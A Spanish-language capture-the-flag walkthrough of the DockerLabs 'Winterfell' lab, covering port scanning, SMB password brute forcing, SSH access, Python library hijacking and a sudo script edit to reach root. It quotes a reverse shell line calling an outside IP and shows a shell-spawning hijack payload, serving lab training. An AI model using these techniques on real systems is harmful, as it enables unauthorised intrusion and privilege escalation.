miguel@home:~$

Winterfell - DockerLabs

OS Dificultad Creator
Linux Fácil Zunderrub

Reconocimiento

Comenzamos el proceso de reconocimiento identificando los puertos abiertos en el sistema objetivo.

sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG ports 
  • -p-: Escanea todos los puertos (1-65535).
  • --open: Solo muestra los puertos abiertos.
  • -sS: Realiza un escaneo SYN, que es rápido y discreto.
  • --min-rate=5000: Envía al menos 5000 paquetes por segundo, acelerando el escaneo.
  • -n: No realiza resolución DNS.
  • -Pn: No realiza ping previo para determinar si el host está activo.
  • -vvv: Muestra resultados detallados y en tiempo real.

image

Durante el escaneo, descubrimos que los siguientes puertos están activos:

  • 22 (SSH)
  • 80 (HTTP)
  • 139 (NetBIOS)
  • 445 (SMB) A continuación, evaluamos si los puertos abiertos presentan alguna vulnerabilidad, además de obtener más información sobre los servicios asociados a esos puertos.
nmap -p22,80,139,445 -sCV 172.17.0.2 -oG targeted 

image

Exploración Web

Al navegar al puerto 80, descubrimos un sitio web con temática de Juego de Tronos.

image

No vemos nada interesante, pero nos quedaremos con este mensaje por si resulta imprensidible para averiguar como acceder.

` – Jon: Tengo que conseguir que Arya lleve el mensaje a Daenerys para que nos mande su apoyo y el de sus dragones`

Utilizamos Gobuster para realizar un reconocimiento web y explorar los directorios disponibles en el sitio.

gobuster dir -u http://172.17.0.2 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,doc,html,txt,img
  • gobuster dir - Indica que estás utilizando la herramienta Gobuster para realizar un escaneo de directorios.
  • -u http://172.17.0.2/ Especifica la URL objetivo que deseas escanear en busca de directorios.
  • -w Especifica que diccionario queremos usar
  • -x Para indicar que tipo de extension queremos que nos encuentre

image

Descubrimos /dragon, donde accedemos a EpisodiosT1. Utilizaremos los nombres de los episodios como posibles contraseñas.

image

Fuerza Bruta en SMB

Generamos un archivo episodios.txt con los nombres de los episodios y usamos crackmapexec para realizar fuerza bruta:

image

crackmapexec smb 172.17.0.2 -u 'jon' -p episodios.txt 

image

Vemos el usuario “jon” con contraseña “seacercaelinvierno”, ahora on smbmap, identificamos recursos compartidos:.

smbmap -u 'jon' -p 'seacercaelinvierno' -H 172.17.0.2

image

Accedemos a la carpeta shared con smbclient y descargamos proteccion_del_reino:

smbclient //172.17.0.2/shared -U 'jon'

image

Al abrir el mesajes vemos que contiene lo siguiente

Aria de ti depende que los caminantes blancos no consigan pasar el muro. 
Tienes que llevar a la reina Daenerys el mensaje, solo ella sabra interpretarlo. Se encuentra cifrado en un lenguaje antiguo y dificil de entender. 
Esta es mi contraseña, se encuentra cifrada en ese lenguaje y es -> aGlqb2RlbGFuaXN0ZXI=

Desciframos la contraseña en Base64:

echo 'aGlqb2RlbGFuaXN0ZXI=' | base64 -d

Nos devuelve la contraseña hijodelanister.

Acceso ssh

Conectamos al servicio SSH como jon usando la contraseña descifrada:

image

Escalada de privilegios

Usuario aria

Al ejecutar sudo -l, notamos que tiene permisos para ejecutar python3 como aria en .mensaje.py.Utilizando GTFOBins sabemos cómo explotar estos binarios.

image

Viendo el contenido de el script se están importando dos librerías pero no tienen su ruta absoluta por lo que se podría acontecer un Library Hijacking.

image

Creamos un archivo con el nombre de una de las librerías usadas por el script:

image

import os
os.system("/bin/bash")

Ejecutamos el script:

sudo -u aria /usr/bin/python3 /home/jon/.mensaje.py

Ahora somos aria.

image

Usuario daenerys

Volvemos a ejecutra sudo -l, notamos que tiene permisos para ejecutar cat y ls como daenerys.Utilizando GTFOBins sabemos cómo explotar estos binarios.

image

Exploramos el directorio y encontramos un mensaje con la contraseña de daenerys.

image

Usamos SSH para acceder:

image

Root

Volvemos a ejecutra sudo -l, notamos que tiene permisos para ejecutar bash como root en el archivo /home/daenerys/.secret/.shell.sh.Utilizando GTFOBins sabemos cómo explotar estos binarios.

image

Este es el contenido:

#!/bin/bash

bash -i >& /dev/tcp/192.168.234.42/443 0>&1

Modificamos el contenido del script para obtener una shell como root:

#!/bin/bash

bash -p

Ejecutamos el script:

image

Ya somos root